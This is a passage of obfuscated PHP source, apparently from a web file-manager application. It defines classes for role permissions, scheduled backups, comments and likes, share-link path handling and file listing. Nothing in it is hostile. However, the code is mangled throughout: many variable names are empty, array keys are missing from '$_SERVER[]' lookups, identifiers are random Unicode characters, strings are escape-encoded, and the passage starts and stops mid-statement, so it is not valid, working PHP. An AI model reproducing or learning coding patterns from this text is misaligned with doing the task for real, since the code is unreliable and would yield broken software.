} public static function authCheckRoot($ٕ) { return self::authCheck($ٕ, self::AUTH_ROOT); } public static function authCheckAction($Ў, $) { $ـ =& $_SERVER[]; $֖ = array($ـ[1881] => self::AUTH_VIEW, $ـ[1196] => self::AUTH_DOWNLOAD, $ـ[107] => self::AUTH_UPLOAD, $ـ[1831] => self::AUTH_EDIT, $ـ[1830] => self::AUTH_REMOVE, $ـ[1841] => self::AUTH_SHARE, $ـ[354] => self::AUTH_COMMENT, $ـ[1658] => self::AUTH_EVENT, $ـ[1882] => self::AUTH_ROOT); if (!isset($֖[$])) { return; } $ށ = $֖[$]; $Ў = intval($Ў); if ($Ў <= 0) { return !1; } if (($Ў & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($Ў & $ށ); } public static function authDisable($, $Ƹ) { if (intval($) <= 0) { return 0; } return intval($) & ~$Ƹ; } public $optionType = "\123\171\163\x74\x65\155\56\163\157\x75\162\x63\x65\x41\165\164\150\x4c\x69\163\x74"; public $field = array("\x6e\x61\155\145", "\141\165\164\150", "\154\141\x62\x65\x6c", "\144\151\x73\160\x6c\x61\x79", "\163\x79\x73\164\145\x6d", "\x73\157\x72\164"); public function initData() { $ɣ = $this->authDefault(); foreach ($ɣ as $ҷʾ) { $this->add($ҷʾ); } } public function findAuth($铮, $) { $ =& $_SERVER[]; $ = parent::listData(); foreach ($ as $垨) { $ϓ = intval($垨[$[413]]); if ($ϓ <= 0 || $垨[$[1883]] == 0) { continue; } if (($ϓ & $铮) != $铮) { continue; } if (($ϓ & $) != 0) { continue; } return $垨[$[399]]; } return !1; } public function findAuthReadOnly() { $ = self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD; $ = self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE; return $this->findAuth($, $); } public function findAuthNotRead() { return $this->findAuth(0, self::AUTH_SHOW); } public function findAuthMinDefault() { $ =& $_SERVER[]; $ = parent::listData(); $ = !1; foreach ($ as $) { if ($[$[413]] <= 0 || $[$[1883]] == $[198]) { continue; } if (!$) { $ = $; continue; } if ($[$[413]] > $[$[413]]) { $ = $; } } return $ ? $[$[399]] : $[12]; } public function listData($ܽ = false, $ǭ = "\x73\157\x72\164", $ = false) { return parent::listData($ܽ, $ǭ, $); } public function update($͕, $ũ) { $ =& $_SERVER[]; $܀ = parent::listData($͕); $። = $this->findByName($ũ[$[32]]); if (!$܀ || $። && $።[$[399]] != $܀[$[399]]) { return !1; } $this->filterAuth($ũ[$[413]]); return parent::update($͕, $ũ); } public function remove($ŕ) { $ˎؤ = parent::listData($ŕ); if (!$ˎؤ || $ˎؤ[$_SERVER[][1286]]) { return !1; } return parent::remove($ŕ); } public function add($ = array()) { $ =& $_SERVER[]; if ($this->findByName($[$[32]])) { return !1; } $Ȭ = array($[32] => $[12], $[413] => 1, $[1884] => $[1871], $[1883] => 1, $[1286] => 0, $[1885] => 0); $ = array_merge($Ȭ, $); $[$[1885]] = $this->getSort(); $this->filterAuth($[$[413]]); return parent::insert($); } private function getSort() { $ـ =& $_SERVER[]; $О = parent::listData(); $̈ = array_to_keyvalue($О, $ـ[12], $ـ[1885]); return empty($̈) ? 0 : max($̈) + 1; } private function filterAuth(&$ՠ) { if (!$ՠ) { return; } $Ѥ = array(self::AUTH_SHOW, self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT, self::AUTH_REMOVE, self::AUTH_SHARE, self::AUTH_COMMENT, self::AUTH_EVENT, self::AUTH_ROOT); $Ҁ = array(); foreach ($Ѥ as $ɛ) { if ($ՠ & $ɛ) { $Ҁ[] = $ɛ; } } if (in_array(self::AUTH_ROOT, $Ҁ)) { $ՠ = array_sum($Ѥ); return; } $Օ = array(self::AUTH_DOWNLOAD => array(self::AUTH_VIEW), self::AUTH_EDIT => array(self::AUTH_VIEW), self::AUTH_REMOVE => array(self::AUTH_EDIT), self::AUTH_SHARE => array(self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT)); foreach ($Ҁ as $ɛ) { if (isset($Օ[$ɛ])) { $Ҁ = array_merge($Ҁ, $Օ[$ɛ]); } } $Ҁ[] = self::AUTH_SHOW; $ՠ = array_sum(array_unique($Ҁ)); } public function sort($먉, $鶓) { return parent::update($먉, $鶓); } } class BackupModel extends ModelBaseLight { public $optionType = "\123\171\x73\164\145\155\56\142\141\143\x6b\165\160\114\151\163\x74"; public $field = array("\x69\157", "\x6e\141\155\145", "\163\164\141\x74\x75\x73", "\x63\x6f\x6e\164\145\156\x74", "\x6d\x61\156\x75\141\x6c", "\162\x65\x73\165\x6c\164", "\164\x69\155\x65\106\162\157\x6d", "\164\x69\x6d\145\124\x6f"); public function config() { $էŴ =& $_SERVER[]; $ = Model($էŴ[769])->get($էŴ[779]); $ = json_decode($, !0); $ = is_array($) ? $ : array(); if (!isset($[$էŴ[753]])) { $[$էŴ[753]] = $էŴ[88]; } unset($[$էŴ[1640]]); Action($էŴ[1886])->taskInit(); Model($էŴ[1639])->cacheClear(); $ = $էŴ[1887]; $˕ = Model($էŴ[1888])->findByKey($էŴ[1658], $); if (!$˕) { $˕ = array(); } if (isset($˕[$էŴ[180]])) { $˕[$էŴ[180]] = json_decode($˕[$էŴ[180]], !0); } if (isset($[$էŴ[180]])) { $˕[$էŴ[180]][$էŴ[1643]] = $[$էŴ[180]]; unset($[$էŴ[180]]); } return array_merge($˕, $); } public function listData($ = false, $ = "\155\157\x64\151\x66\171\x54\151\155\x65", $ǹ = false) { return parent::listData($, $, !0); } public function lastItem() { $ګݎ = $this->listData(); return !empty($ګݎ[0]) ? $ګݎ[0] : null; } public function kill($ޯ) { $ =& $_SERVER[]; $伾 = $this->listData($ޯ); if (!$伾 || empty($伾[$[32]])) { return !0; } Task::kill($[778]); Task::kill($[799]); Task::kill($[808]); $Ѧ = $伾[$[32]]; $Ê = TEMP_FILES . $[777] . $Ѧ . $[8]; IO::remove($Ê, !1); return $this->remove($ޯ); } public function remove($) { $χ = $this->listData($); if (!$χ) { return !0; } return $this->backupRemove($χ); } private function backupRemove($؆) { parent::remove($؆[$_SERVER[][399]]); $ = $this->backupPath($؆); IO::remove($, !1); return !0; } private function backupPath($) { $ =& $_SERVER[]; $ = $[$[32]]; $̲ = Model($[769])->get($[770]); $ = substr(md5($[771] . $̲ . $), 0, 8); return "\173\x69\157\72{$[$[750]]}\175\x2f\144\141\x74\x61\142\x61\x73\x65\57\142\x61\x63\x6b\x75\160\57" . $ . $[11] . $; } public function start() { $ି =& $_SERVER[]; if ($GLOBALS[$ି[6]][$ି[89]][$ି[1889]] != $ି[88]) { return !0; } $ = $this->config(); if (!$ || $[$ି[1640]] != $ି[88]) { return !1; } $ݱ = $this->process(); foreach ($ݱ as $) { if ($) { return Task::restart($[$ି[399]]); } } $Ο = new Backup(); $挗 = $Ο->db(); if ($挗) { $挗 = $Ο->dbFile(); if ($挗 && $[$ି[753]] == $ି[198]) { $挗 = $Ο->file(); } } Backup::set(array($ି[748] => 1, $ି[760] => time())); return !0; } public function process() { $ =& $_SERVER[]; $˒ = array($[756] => Task::get($[778]), $[761] => Task::get($[799]), $[200] => Task::get($[808])); $ = !1; foreach ($˒ as &$) { if ($) { $ = !1; continue; } if ($) { $ُ = intval(_get($, $[1675], 0)); if (time() - $ُ > 7200) { Task::kill($[$[399]]); $ = !0; $ = !1; } } } return $˒; } public function restore() { $˅ =& $_SERVER[]; ActionCall($˅[1062], !0, 1); ActionCall($˅[1062], !0, 0); } } class CommentModel extends ModelBase { protected $tableName = "\143\157\155\155\145\156\x74"; protected $tableMeta = array("\x74\141\142\154\x65\x4e\141\155\x65" => "\x63\157\155\x6d\x65\x6e\164\137\155\145\164\x61", "\155\145\164\141\x46\151\145\154\144" => "\x63\x6f\155\155\145\156\x74\x49\x44"); const TYPE_SOURCE = 1; const TYPE_SHARE = 2; const TYPE_USER = 3; const TYPE_GROUP = 4; const TYPE_TOPIC = 5; const TYPE_STAR_OFFSET = 100000000; public static $TYPEALL = array(self::TYPE_SOURCE, self::TYPE_SHARE, self::TYPE_USER, self::TYPE_GROUP, self::TYPE_TOPIC); public function addComment($ó) { $ߠ =& $_SERVER[]; if ($ó[$ߠ[1890]]) { $Ըˤ = $this->where(array($ߠ[1891] => $ó[$ߠ[1890]]))->find(); if (!$Ըˤ || $Ըˤ[$ߠ[411]] != $ó[$ߠ[411]] || $Ըˤ[$ߠ[496]] != $ó[$ߠ[496]]) { return !1; } $this->where(array($ߠ[1891] => $ó[$ߠ[1890]]))->setAdd($ߠ[1892], 1); } $ó[$ߠ[1893]] = 0; $ó[$ߠ[1892]] = 0; $ó[$ߠ[748]] = 1; return $this->add($ó); } public function commentCount($, $ǫ, $˞ = false) { $͚ =& $_SERVER[]; if (!$) { return array(); } if (is_string($) || is_int($)) { $ = array($); } $ = array($͚[496], $͚[1894] => $͚[491]); $ = array($͚[496] => array($͚[7], $), $͚[411] => $ǫ); if ($˞) { $[$͚[1670]] = $˞; } $ʍ = $this->field($)->where($)->group($͚[496])->select(); return array_to_keyvalue($ʍ, $͚[496], $͚[491]); } public function starTarget($ċ, $) { $ =& $_SERVER[]; $ = $ċ + self::TYPE_STAR_OFFSET; $ = array($[1670] => USER_ID, $[411] => $, $[496] => $); $˘ߨ = $this->where($)->find(); if ($˘ߨ) { return $this->where(array($[399] => $˘ߨ[$[399]]))->delete(); } $ځ = array($[1890] => 0, $[1670] => USER_ID, $[748] => 1, $[753] => $[12], $[411] => $, $[496] => $, $[1893] => 0, $[1892] => 0); return $this->add($ځ); } public function starTargetCount($ۄ, $) { $ =& $_SERVER[]; $¬ = $ + self::TYPE_STAR_OFFSET; $ = $this->commentCount($ۄ, $¬); $Ằ = $this->commentCount($ۄ, $¬, USER_ID); return array($[1895] => $, $[1896] => $Ằ); } public function starTargetUserList($, $) { $Ǎ =& $_SERVER[]; $֥ŕ = $ + self::TYPE_STAR_OFFSET; $ = array($Ǎ[496] => $, $Ǎ[411] => $֥ŕ); $ = $this->where($)->count(); $ߟ = array($Ǎ[255] => $, $Ǎ[1897] => array()); if (!$) { return $ߟ; } $Ɛ = $this->field($Ǎ[1670])->where($)->limit(500)->select(); $Ɛ = array_to_keyvalue($Ɛ, $Ǎ[12], $Ǎ[1670]); $ߟ[$Ǎ[1897]] = Model($Ǎ[504])->userListInfo($Ɛ); return $ߟ; } public function prasiseUserList($얼) { $Ƞ =& $_SERVER[]; $Ǐ = array($Ƞ[1898] => $얼); $ = $this->where($Ǐ)->find(); $ = _get($, $Ƞ[1893], 0); $ѝꀧ = array($Ƞ[255] => $, $Ƞ[1897] => array()); if (!$) { return $ѝꀧ; } $ = Model($Ƞ[1899])->field($Ƞ[1670])->where($Ǐ)->limit(500)->select(); $ = array_to_keyvalue($, $Ƞ[12], $Ƞ[1670]); $ѝꀧ[$Ƞ[1897]] = Model($Ƞ[504])->userListInfo($); return $ѝꀧ; } public function remove($ѫ) { $ =& $_SERVER[]; $Ͽ = array($[1891] => $ѫ); $Νε = $this->where($Ͽ)->find(); if ($Νε[$[1890]]) { $this->where(array($[1891] => $Νε[$[1890]]))->setAdd($[1892], -1); } return $this->where($Ͽ)->delete(); } public function edit($, $ڌ) { $ـ =& $_SERVER[]; $ʥ = array($ـ[1891] => $); return $this->where($ʥ)->save(array($ـ[1900] => $ڌ)); } public function prasise($뉂) { $鐓ͱ =& $_SERVER[]; $Ɨ = Model($鐓ͱ[1901]); $д = array($鐓ͱ[1891] => $뉂, $鐓ͱ[1661] => USER_ID); $ = $Ɨ->where($д)->find(); if (!$) { $Ɨ->add($д); $ = $this->where(array($鐓ͱ[1891] => $뉂))->setAdd($鐓ͱ[1893], 1); } else { $Ɨ->where($д)->delete(); $ = $this->where(array($鐓ͱ[1891] => $뉂))->setAdd($鐓ͱ[1893], -1); } return $; } public function targetInfo($̲, $ô) { $ =& $_SERVER[]; $ = array($[576] => $̲, $[577] => $ô); $߁ = $this->where($)->count(); $ɋ = "\122\x49\x47\x48\124\x20\112\x4f\x49\116\40{$this->tablePrefix}\x63\x6f\x6d\x6d\x65\x6e\164\x5f\160\x72\141\x69\163\x65\40\x73\x74\x61\162\40\157\x6e\x20\143\157\155\155\145\x6e\x74\56\143\x6f\155\155\145\x6e\x74\111\104\x20\75\x20\163\x74\x61\162\x2e\143\x6f\x6d\155\x65\x6e\x74\111\104"; $ = $this->alias($[354])->where($)->join($ɋ, $[1902])->count(); $ɇ = array($[1903] => $߁, $[1904] => $); return $ɇ; } public function listData($Ȗ) { $ =& $_SERVER[]; if (isset($Ȗ[$[1905]])) { if ($Ȗ[$[1905]]) { $Ȗ[$[1898]] = array($[1016], intval($Ȗ[$[1905]])); } unset($Ȗ[$[1905]]); } if (isset($Ȗ[$[1906]])) { if ($Ȗ[$[1906]]) { $Ȗ[$[1898]] = array($[1013], intval($Ȗ[$[1906]])); } unset($Ȗ[$[1906]]); } return $this->_listData($Ȗ); } private function _listData($) { $ߢ =& $_SERVER[]; $۟ = $this->where($)->_makeOrder()->selectPage(100); $this->_listAppendParent($۟[$ߢ[369]]); $this->_listAppendUser($۟[$ߢ[369]]); $this->_listAppendMeta($۟[$ߢ[369]]); return $۟; } private function _makeOrder() { $䬪 =& $_SERVER[]; $ = array($䬪[1893], $䬪[1892], $䬪[201]); $߿ = Input::get($䬪[457], $䬪[7], $䬪[423], $); $Ϊ = Input::get($䬪[458], $䬪[7], $䬪[1663], array($䬪[1907], $䬪[453])); $ԯ = $߿ . $䬪[53] . $Ϊ; return $this->order($ԯ); } private function _listAppendParent(&$𤄼) { $Ŭ =& $_SERVER[]; $ = array_unique(array_to_keyvalue($𤄼, $Ŭ[12], $Ŭ[1890])); $ = array_remove_value($, $Ŭ[198]); if (!$) { return; } $ = $this->where(array($Ŭ[1891] => array($Ŭ[7], $)))->select(); $ = array_to_keyvalue($, $Ŭ[1898]); foreach ($𤄼 as &$؊) { if (isset($[$؊[$Ŭ[1890]]])) { $؊[$Ŭ[1908]] = $[$؊[$Ŭ[1890]]]; } } unset($؊); } private function _listAppendUser(&$) { $픹 =& $_SERVER[]; $ = array_unique(array_to_keyvalue($, $픹[12], $픹[1670])); $ = array_remove_value($, $픹[198]); if (count($) == 0) { return; } foreach ($ as $) { if (isset($[$픹[1908]])) { $[] = $[$픹[1908]][$픹[1670]]; } } $ʴҦ = Model($픹[525])->userListInfo($); foreach ($ as &$) { $[$픹[590]] = $ʴҦ[$[$픹[1670]]]; if (isset($[$픹[1908]])) { $[$픹[1908]][$픹[590]] = $ʴҦ[$[$픹[1908]][$픹[1670]]]; } } unset($); } private function _listAppendMeta(&$ʶ) { $ =& $_SERVER[]; $ = array_unique(array_to_keyvalue($ʶ, $[12], $[1898])); $ = array_remove_value($, $[198]); if (!$) { return; } foreach ($ʶ as $՝) { if (isset($՝[$[1908]])) { $[] = $՝[$[1908]][$[1898]]; } } $߆ = $this->metaList($); if (!$߆) { return !1; } foreach ($ʶ as &$՝) { $՝[$[466]] = $߆[$՝[$[1898]]]; if (isset($՝[$[1908]])) { $՝[$[1908]][$[466]] = $߆[$՝[$[1908]][$[1898]]]; } } unset($՝); } private function metaList($䬰) { $腥 =& $_SERVER[]; if (!$䬰) { return array(); } $ێ = array($腥[1898] => array($腥[7], $䬰)); $ = Model($腥[1909])->where($ێ)->select(); $ = array_to_keyvalue_group($, $腥[1898]); foreach ($ as $͢ => $) { $ = array(); foreach ($ as $쳓) { $[$쳓[$腥[94]]] = $쳓[$腥[374]]; } $[$͢] = $; } return $ ? $ : array(); } } goto e; bڛý: class PathDriverDbShareLink extends PathDriverDB { public function __construct($Ǐ) { $this->pathParse = $Ǐ; $this->model = Model($_SERVER[][1341]); } protected function infoParse($Ӣ֧, $ = false, $ = false) { $ =& $_SERVER[]; return Action($[1176])->sharePathInfo($this->pathParse[$[84]], !0, $); } public function listPath($Dž, $颩 = false) { $ٞ =& $_SERVER[]; $߿ = parent::listPath($Dž, $颩); if (!$߿) { return $߿; } if (is_array($߿[$ٞ[1350]])) { $߿[$ٞ[1350]] = Action($ٞ[1176])->shareItemInfo($߿[$ٞ[1350]]); } foreach ($߿ as $ => $ۗ) { if (!in_array($, array($ٞ[83], $ٞ[82]))) { continue; } foreach ($ۗ as $ => $ى) { $߿[$][$] = Action($ٞ[1176])->shareItemInfo($ى); } } return $߿; } public function listAll($ͤ) { $ =& $_SERVER[]; $䭭 = IO::info($this->pathParse[$[84]]); if (!$䭭) { return array(); } $딨 = $this->model->listAll($ͤ); foreach ($딨 as &$Ƌ) { $Ƌ[$[87]] = Action($[1176])->shareItemInfo($Ƌ[$[87]]); } unset($Ƌ); return $딨; } } class PathDriverDriverShareItem { public function __construct($) { $this->pathParse = $; } public function __call($ɢ, $) { $ =& $_SERVER[]; if (method_exists($this, $ɢ)) { return; } $û = call_user_func_array(array($[1351], $ɢ), $); $ܾƐ = array($[1352], $[1353], $[1354], $[1355], $[546], $[548], $[1356], $[107], $[1357], $[1358]); if (in_array($ɢ, $ܾƐ)) { $û = $this->getPathOuter($û); } return $û; } public function copy($嶱, $̛, $典 = false, $ = false) { return $this->copyMove($嶱, $̛, $典, $_SERVER[][546], $); } public function move($, $, $ӌ = false, $ = false) { return $this->copyMove($, $, $ӌ, $_SERVER[][548], $); } private function copyMove($, $, $, $, $ = false) { $ŀ =& $_SERVER[]; $ܭ = $; $Հ = IO::driverMake($); if ($Հ->pathParse[$ŀ[1153]]) { $ = $Հ->pathParse[$ŀ[1153]]; } else { $ = $ܭ; } $꽲 = IO::copyMove($, $, $, $, $); $꽲 = $this->getPathOuter($꽲); return $꽲; } public function pathThis($) { return get_path_this($this->pathParse[$_SERVER[][84]]); } public function pathFather($𱱏) { return get_path_father($this->pathParse[$_SERVER[][84]]); } public function iconvSystem($Ѐ) { return $Ѐ; } protected function infoParse($թ, $ɱ = false) { $ =& $_SERVER[]; $ݔ = $this->pathParse[$[486]][$[1177]] . $this->pathParse[$[1170]]; if ($ɱ) { $Ԟ = IO::infoWithChildren($ݔ); } else { $Ԟ = IO::info($ݔ); } $Ƹ = $this->pathParse[$[486]]; return Action($[1349])->_shareItemeParse($Ԟ, $Ƹ); } public function listAll($) { $ءɧ =& $_SERVER[]; $ܱ = IO::listAll($); $ = rtrim($this->pathParse[$ءɧ[486]][$ءɧ[1177]], $ءɧ[8]); foreach ($ܱ as &$벲) { $벲[$ءɧ[84]] = $this->pathDriver . $ءɧ[8] . ltrim(substr($벲[$ءɧ[84]], strlen($)), $ءɧ[8]); } unset($벲); return $ܱ; } public function listAllSimple($, $ = false) { $ =& $_SERVER[]; $ = $this->listAll($); $˖ = $this->pathParse[$[421]]; if (trim($˖, $[8]) == trim(get_path_father($˖), $[8])) { $ = !0; } return IO::init($[12])->listAllSimpleMake($, $˖, $); } public function getPathOuter($) { $ =& $_SERVER[]; $左 = KodIO::parse($); if ($左[$[33]] == KodIO::KOD_SHARE_ITEM) { return $左[$[84]]; } $ = KodIO::clear($); $ç = KodIO::clear($this->pathParse[$[486]][$[1177]]); $ɲ = substr($, strlen($ç)); if (substr($, 0, strlen($ç)) != $ç) { return !1; } return $this->pathParse[$[1171]] . $[8] . ltrim($ɲ, $[8]); } public function getType() { $ =& $_SERVER[]; $ͅ = str_replace($[74], $[12], get_class($this)); return strtolower($ͅ); } public function isTypeObject($) { return IO::isTypeObject($); } public function info($ڮ) { return $this->infoParse($ڮ); } public function infoAuth($) { return $this->infoParse($); } public function infoWithChildren($) { return $this->infoParse($, !0); } public function infoFull($) { return $this->infoParse($); } } class PathDriverDriverShareLink extends PathDriverDriverShareItem { public function __construct($) { $this->pathParse = $; } protected function infoParse($́, $ڋ = false) { $ =& $_SERVER[]; return Action($[1176])->sharePathInfo($this->pathParse[$[84]], !0, $ڋ); } public function listPath($Ӳԅ, $ = false) { $ё =& $_SERVER[]; $ = IO::listPath($Ӳԅ, $); if (!$) { return $; } if (is_array($[$ё[1350]])) { $ = Action($ё[1359])->parsePathChildren($[$ё[1350]], array($ё[421] => $Ӳԅ)); $[$ё[1350]] = Action($ё[1176])->shareItemInfo($); } foreach ($ as $ǂ => $Ž) { if (!in_array($ǂ, array($ё[83], $ё[82]))) { continue; } foreach ($Ž as $ܢ => $) { $ = Action($ё[1359])->parsePathChildren($, array($ё[421] => $Ӳԅ)); $[$ǂ][$ܢ] = Action($ё[1176])->shareItemInfo($); } } return $; } } goto C㜊ď; a̭: class ModelBaseOption extends ModelBase { protected $tableName = ''; protected $jsonField = array(); public function get($逤 = false, $ = '', $ = false) { $ =& $_SERVER[]; $ = $this->cacheGet($); $ = $this->optionDefault($); $ = is_array($) ? $ : array(); if (is_array($)) { $ = array_merge($, $); return $逤 ? isset($[$逤]) ? $[$逤] : null : $; } $Ƭ = $this->filterWhere(array($[33] => $)); $ = $this->where($Ƭ)->select(); $ = array_to_keyvalue($, $[94], $[374]); foreach ($ as $ => $ۣɺ) { if ($ || in_array($, $this->jsonField)) { $[$] = json_decode($ۣɺ, !0); } } $this->cacheSet($, $); $ = array_merge($, $); return $逤 ? $[$逤] : $; } public function set($ƹ, $˛ = false, $Ȓ = '') { $Ȭ =& $_SERVER[]; $this->cacheRemove($Ȓ); $ = array(); $ = is_array($ƹ) ? $ƹ : array($ƹ => $˛); foreach ($ as $ѰĨ => $Ԫ) { if (is_array($Ԫ)) { $Ԫ = json_encode_force($Ԫ); } $this->checkLength($Ԫ, !1, $this->tableName . $Ȭ[4] . $ƹ); $Ԫ = self::textEncode($Ԫ); $ = array($Ȭ[33] => $Ȓ, $Ȭ[94] => $ѰĨ, $Ȭ[374] => $Ԫ); $[] = $this->filterWhere($); } if (!$) { return !0; } $ = $this->cacheKey($Ȭ[400]); CacheLock::lock($); $ = $this->addAll($, array(), !0); CacheLock::unlock($); return $; } protected function optionDefault($ҏ = '') { return !1; } public function setDeep($, $̆ц = false, $ض = '') { $̯ɩ = explode($_SERVER[][10], $); $繒Ɔ = $this->get(); array_set_value($繒Ɔ, $, $̆ц); $this->set($̯ɩ[0], $繒Ɔ[$̯ɩ[0]], $ض); } public function remove($ዀ, $ = '') { $ =& $_SERVER[]; $this->cacheRemove($); $ = $this->filterWhere(array($[94] => $ዀ, $[33] => $)); if (is_null($ዀ)) { unset($[$[94]]); } return $this->where($)->delete(); } public function cacheSet($, $ѱ = false) { return Cache::set($this->cacheKey($), $ѱ); } public function cacheGet($) { return Cache::get($this->cacheKey($)); } public function cacheRemove($랝) { return Cache::remove($this->cacheKey($랝)); } protected function filterWhere($ш) { return $ш; } protected function cacheKey($Ī) { return $Ī; } } class SourceListModel extends ModelBase { protected $tableName = "\x69\x6f\137\x73\x6f\165\162\x63\x65"; protected $tableMeta = array("\x74\x61\142\x6c\x65\116\141\155\x65" => "\151\x6f\137\x73\x6f\165\162\x63\145\137\x6d\x65\x74\x61", "\155\x65\x74\x61\x46\151\145\154\x64" => "\163\x6f\x75\x72\x63\x65\x49\104"); protected $dataAuto = array(array("\155\x6f\x64\151\x66\x79\124\151\x6d\x65", "\164\151\155\145", "\x69\x6e\163\x65\x72\164", "\x66\x75\x6e\x63\164\x69\x6f\x6e"), array("\x63\x72\x65\141\164\145\124\x69\x6d\x65", "\164\151\155\145", "\x69\156\x73\x65\x72\x74", "\x66\x75\x6e\143\x74\x69\157\x6e"), array("\x76\x69\x65\x77\x54\151\x6d\x65", "\x74\x69\155\x65", "\x69\x6e\163\145\162\x74", "\x66\165\156\x63\164\151\x6f\x6e")); protected static $cacheSourceInfo = array(); protected static $cachePathInfo = array(); protected static $cacheFileInfo = array(); protected static $cacheChildList = array(); const TYPE_SYSTEM = 0; const TYPE_USER = 1; const TYPE_GROUP = 2; public function listData($ɏ) { return $this->listSource(array($_SERVER[][401] => $ɏ)); } public function typeName($) { static $ȹ´ = array(self::TYPE_SYSTEM => "\163\171\x73\164\x65\155", self::TYPE_USER => "\x75\163\x65\162", self::TYPE_GROUP => "\147\162\x6f\x75\x70"); return $ȹ´[$ . $_SERVER[][12]]; } public function sourceListInfo($, $Ȋ = false) { $ʣ =& $_SERVER[]; $ = $ ? $ : array(); $ = array_filter(array_unique($)); if (!$) { return array(); } $ف = $this->where(array($ʣ[402] => array($ʣ[7], $)))->select(); $this->_listDataApply($ف, $Ȋ); return array_to_keyvalue($ف, $ʣ[402]); } public function pathInfoFilter(&$) { $ۮ =& $_SERVER[]; static $ʱ = false; static $ᵛ = false; static $݇ = false; if (!$ʱ) { $ = $ۮ[403]; $ .= $ۮ[404]; $ .= $ۮ[405]; $ = $ۮ[406]; $ԝ = explode($ۮ[50], $); $ʱ = explode($ۮ[50], $); $ᵛ = array(); foreach ($ʱ as $DŽ) { if (in_array($DŽ, $ԝ)) { continue; } $ᵛ[] = $DŽ; } $݇ = explode($ۮ[50], $ۮ[407]); } foreach ($݇ as $) { if (isset($[$])) { $[$] = intval($[$]); } } $[$ۮ[84]] = $ۮ[408] . $[$ۮ[402]] . $ۮ[409]; $[$ۮ[33]] = $[$ۮ[410]] == 1 ? $ۮ[75] : $ۮ[200]; $[$ۮ[411]] = $this->typeName($[$ۮ[411]]); if ($[$ۮ[410]] != 1) { $[$ۮ[174]] = $[$ۮ[412]]; unset($[$ۮ[412]]); } $ϸ = $ʱ; if (isset($[$ۮ[413]]) && $[$ۮ[413]][$ۮ[414]] == -1) { $ϸ = $ᵛ; } $ = array_field_key($, $ϸ); return $; } public function listUserFav() { $Ὴ =& $_SERVER[]; $ӛ = Model($Ὴ[415])->listData(); $ = array_filter_by_field($ӛ, $Ὴ[33], $Ὴ[416]); $ = array_to_keyvalue($, $Ὴ[12], $Ὴ[84]); if ($) { $ҭ = $this->listSource(array($Ὴ[417] => array($Ὴ[418], $))); } $ҭ = array_to_keyvalue($ҭ[$Ὴ[369]], $Ὴ[402]); foreach ($ӛ as &$ᬂ) { $ᬂ = array($Ὴ[419] => $ᬂ[$Ὴ[399]], $Ὴ[420] => $ᬂ[$Ὴ[32]], $Ὴ[421] => $ᬂ[$Ὴ[84]], $Ὴ[422] => $ᬂ[$Ὴ[33]], $Ὴ[423] => $ᬂ[$Ὴ[201]], $Ὴ[424] => $ᬂ[$Ὴ[85]]); if ($ᬂ[$Ὴ[33]] == $Ὴ[416] && $ҭ[$ᬂ[$Ὴ[84]]]) { $ᬂ[$Ὴ[87]] = $ҭ[$ᬂ[$Ὴ[84]]]; } } unset($ᬂ); return $ӛ; } public function listUserTag($) { $Ǚ =& $_SERVER[]; if ($ && !is_array($)) { $ = array($); } $̋ = Model($Ǚ[425])->listData(); $ = array(); $ = array(); foreach ($̋ as $Ҭ) { $ߺ = $Ҭ[$Ǚ[84]]; if (!$ߺ) { continue; } if (!isset($[$ߺ])) { $[$ߺ] = array(); } $[$ߺ][] = $Ҭ[$Ǚ[426]]; $[$Ҭ[$Ǚ[84]]] = $Ҭ; } $¾ = array(); $ = array(); $ = array(); foreach ($ as $ => $) { $潫ڳ = !0; if (!$) { $¾[] = $; continue; } foreach ($ as $Ƕ) { if (!in_array($Ƕ, $)) { $潫ڳ = !1; break; } } if (!$潫ڳ) { continue; } if (!is_numeric($)) { $ă = $[$]; $ɑ = array($Ǚ[32] => $ă[$Ǚ[32]], $Ǚ[84] => $ă[$Ǚ[84]], $Ǚ[33] => $ă[$Ǚ[33]], $Ǚ[87] => array($Ǚ[427] => 1), $Ǚ[202] => !0); if ($ă[$Ǚ[33]] == $Ǚ[200]) { $[] = $ɑ; } if ($ă[$Ǚ[33]] == $Ǚ[75]) { $[] = $ɑ; } continue; } $¾[] = $; } if ($¾) { $ = $this->listSource(array($Ǚ[417] => array($Ǚ[418], $¾))); } $ = $ ? $ : array($Ǚ[82] => array(), $Ǚ[83] => array()); $[$Ǚ[82]] = array_merge($[$Ǚ[82]], $); $[$Ǚ[83]] = array_merge($[$Ǚ[83]], $); if (isset($[$Ǚ[366]]) && count($¾) == $[$Ǚ[366]][$Ǚ[367]]) { return $; } $ɍ = array(); $܉ = array_to_keyvalue($[$Ǚ[82]], $Ǚ[12], $Ǚ[402]); $흴 = array_to_keyvalue($[$Ǚ[83]], $Ǚ[12], $Ǚ[402]); $ם = array_merge($흴, $܉); foreach ($¾ as $ߺ) { if (!in_array($ߺ, $ם)) { $ɍ[] = $ߺ; } } if ($ɍ) { Model($Ǚ[428])->removeBySource($ɍ); } return $; } public function listUserRecycle() { $圛 =& $_SERVER[]; $з = Model($圛[429])->listData(); if (!$з) { return array(); } $Ц = array($圛[417] => array($圛[418], $з), $圛[430] => 1); return $this->listSource($Ц); } public function listSource($, $ = 3000, $΄ = false) { $Ϫ =& $_SERVER[]; if (!isset($[$Ϫ[431]])) { $[$Ϫ[431]] = 0; } if (isset($[$Ϫ[432]]) && $[$Ϫ[432]] == $Ϫ[198]) { $[$Ϫ[412]] = array($Ϫ[331], $Ϫ[433]); } $ = $Ϫ[434]; $㰓 = $this->field($)->_makeOrder()->where($)->selectPage($); $this->_listPageCheck($㰓, $, $); $this->_listDataApply($㰓[$Ϫ[369]], $΄); $this->_listMake($㰓); return $㰓; } private function _listPageCheck(&$ܑ, $ү, $լ) { $ހ =& $_SERVER[]; if (!is_array($ܑ[$ހ[366]])) { return; } $혢 = $ܑ[$ހ[366]]; if ($혢[$ހ[368]] <= 1) { return; } if ($혢[$ހ[367]] >= 100000) { return; } if (Model($ހ[435])->get($ހ[436]) != $ހ[437]) { return; } $ү = str_replace(array($ހ[53], $ހ[342], $ހ[231]), $ހ[12], $ү); $ү = $ހ[438] . str_replace($ހ[50], $ހ[439], $ү) . $ހ[440]; $ϙ = $ހ[441]; $ϙ = $ϙ . $ހ[442]; $̍ = $혢[$ހ[363]] * ($혢[$ހ[353]] - 1) . $ހ[50] . 